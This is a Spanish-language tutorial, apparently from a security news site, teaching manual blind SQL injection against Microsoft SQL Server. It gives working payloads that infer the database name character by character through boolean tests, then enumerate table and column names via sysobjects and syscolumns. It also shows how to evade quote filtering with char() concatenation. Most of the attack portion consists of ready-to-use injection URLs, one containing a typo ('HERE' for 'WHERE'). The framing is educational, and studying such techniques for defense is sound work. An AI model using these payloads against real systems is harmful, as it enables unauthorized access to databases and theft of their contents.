En este tutorial usted aprenderá cómo realizar y explotar la inyección de Blind SQL paso a paso de forma manual con ayuda de expertos de seguridad de aplicaciones web y seguridad en base de datos.
¿Qué es inyección de Blind SQL?
Según el curso de seguridad en base de datos, Inyección de Blind SQL es un tipo de ataque de inyección SQL que hace las consultas de verdadero o falso a la base de datos y determina la respuesta basándose en la respuesta de las aplicaciones.
En algunos casos, el uso normal de inyección SQL no sirve. La inyección Blind sql es otro método que puede ayudarte. El punto importante en la inyección de blind sql es la diferencia entre el resultado de la consulta válido y no válido. Usted tiene que inyectar un comando que deje una consulta válida o inválida y observar la respuesta menciona expertos de seguridad de aplicaciones web.
¿Cómo probar inyección de blind SQL en una aplicación?
Permitámonos suponer que https://www.example.com/page.asp?id=1 es una dirección URL normal de la página web. Por lo que permite comprobar la vulnerabilidad de la página web mediante el uso de condiciones verdaderas y falsas como 1 = 2, 1 = 1 o 0> 1.
https://www.example.com/page.asp?id=1 and 1=1 (True)https://www.example.com/page.asp?id=1 and 1=2 (False)https://www.example.com/page.asp?id=1 and 0>1 (False)
Si los resultados de estas consultas son diferentes, será una buena señal. Eso significa que el sitio web es vulnerable a inyección de blindmssql SQL. Cuando se pone “id = 1 and 1 = 1”, significa que la condición es verdadera, así la respuesta debe ser normal. Sin embargo, el parámetro “id = 1 and 1 = 2” indica que la condición es falsa y si el administrador no proporciona un filtro adecuado, la respuesta difiere absolutamente de la anterior.
La extracción de datos a través de inyección de Blind SQL
Mediante el uso de esta base de datos se puede extraer, pero hay que pasar más tiempo en eso. Usted conseguirá un único carácter de la palabra mediante la ejecución de las algunas consultas.
El experto de seguridad de aplicaciones web explica un ejemplo de la consulta el primer carácter del nombre de la base de datos. Suponemos que el nombre de la base de datos es member. Por lo tanto, el primer carácter es “m”, que es el valor ascıı 109. (En este punto, se supone que conoce el código ascıı).
Ok, en primer lugar, tenemos que saber que los resultados de las solicitudes tienen sólo 2 formas.
Los siguientes pasos son dependiendo de cada persona. Tu idea puede ser diferente de nuestra idea con el fin de recoger el código ascii de consulta de prueba.
https://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
En esta situación, el resultado será el resultado de la consulta válida como
https://www.example.com/page.asp?id=1 and 1=1
(Debido a que el primer carácter del nombre de la base de datos es “m”, que es el código ascii 109). A continuación, tratamos
https://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>120
Sin duda, es que el resultado será como
https://www.example.com/page.asp?id=1 y 1 = 2 (porque 109 absolutamente menos de 120).
A continuación, vamos a tratar,
https://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>105
El resultado es un resultado de la consulta válida y en este punto, el valor ascii del primer carácter del nombre de la base es de entre 105 y 120.
Por lo tanto, tratamos
https://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>112 ===> invalid query result https://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>108 ===> valid query result https://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>110 ===> invalid query result https://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>109 ===> invalid query result
Usted puede ver que el primer carácter del nombre de base de datos tiene un valor ascii mayor que 108, pero no es mayor que 109. Por lo tanto, podemos concluir que el valor ascıı es igual a 109.
Se puede probar con:
https://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=109
Estamos seguros de que el resultado es como el resultado de https://www.target.com/page.php?id=1 and 1=1
Lo demás que tienes que hacer es manipular algunas consultas para recoger su información preferida.
En este tutorial, el experto de seguridad en base de datos se proponen algunas consultas de ejemplo con el fin de encontrar los nombres de tablas y columnas de la base de datos.
La extracción de nombres de tabla a través de inyección de BlindMssql SQL
Con el fin de obtener el nombre de tabla, podemos utilizar el método anterior para obtener cada carácter del nombre de la tabla. Lo único que tenemos que hacer es cambiar la consulta para recuperar el nombre de tabla de base de datos actual. Como MSSQL no tiene comando de limit. Por lo tanto, la consulta es un poco complicada.
https://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)>97
La consulta anterior se utiliza para determinar el primer carácter de primera tabla en la base de datos actual. Si queremos encontrar segundo carácter de la primera tabla, podemos hacerlo mediante siguiente consulta:
https://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),2,1)),0)>97
Cambiamos el segundo parámetro de la función del substring desde 1 hasta 2 con el fin de especificar la posición preferida del personaje en nombre de la tabla.
Por lo tanto, si queremos determinar otros puntos, nosotros sólo necesitamos cambiar segundo parámetro de la función del substring menciona experto de seguridad en base de datos.
En el caso de otras tablas, podemos encontrar otros nombres de tabla cambiando la segunda De “SELECT TOP 1” a ser “SELECT TOP 2”, “SELECT TOP 3” y así sucesivamente.
https://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)=97
La extracción de nombres de columna a través de inyección de BlindMssql SQL
Después obtenemos los nombres de tabla, la siguiente información de objetivo son absolutamente los nombres de las columnas.
https://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i HERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name=’tablename’))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name=’tablename’)) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97
Con el fin de eludir el filtrado de magic quote, usted tiene que cambiar “tablename” que es la forma de concatenar comandos char (). Por ejemplo, si el nombre de tabla es “user”, cuando ponemos “user” en la consulta, “puede ser filtrado y nuestra consulta será incorrecta. Según los expertos de seguridad de aplicaciones web, la solución es convertir
‘user’ es char(117)+char(115)+char(101)+char(114).
Por lo tanto, la consulta en la cláusula where cambia de
“Where name=’user’” to “Where name=char(117)+char(115)+char(101)+char(114)”.
En este caso, podemos evitar el filtrado de magic quote. El resultado de la solicitud anterior es el primer carácter del nombre de la primera columna de la tabla específica.
Según curso de seguridad en base de datos, cuando queremos encontrar el segundo carácter de la primera columna, podemos utilizar el mismo método que conseguir nombre de la tabla, cambiando el segundo parámetro de la función del substring.
https://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name=’tablename’))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name=’tablename’)) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97
La solicitud anterior se utiliza para determinar el segundo carácter de la primera columna de la tabla nombre específico.
Según los expertos de seguridad de aplicaciones web, en el caso de la determinación de otras columnas, podemos hacerlo cambiando el valor p.x de 1 a 2,3,4 y así sucesivamente. como,
https://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name=’tablename’))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name=’tablename’)) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97
El primer carácter del segundo nombre de la columna en la tabla específica puede ser determinado por la consulta anterior. Pueden aprender más sobre inyección de Blind SQL durante la capacitación de seguridad de aplicaciones web o seguridad en base de datos.
Es un conocido experto en seguridad móvil y análisis de malware. Estudió Ciencias de la Computación en la NYU y comenzó a trabajar como analista de seguridad cibernética en 2003. Trabaja activamente como experto en antimalware. También trabajó para empresas de seguridad como Kaspersky Lab. Su trabajo diario incluye investigar sobre nuevos incidentes de malware y ciberseguridad. También tiene un profundo nivel de conocimiento en seguridad móvil y vulnerabilidades móviles.
Envía tips de noticias a info@noticiasseguridad.com o www.instagram.com/iicsorg/
También puedes encontrarnos en Telegram www.t.me/noticiasciberseguridad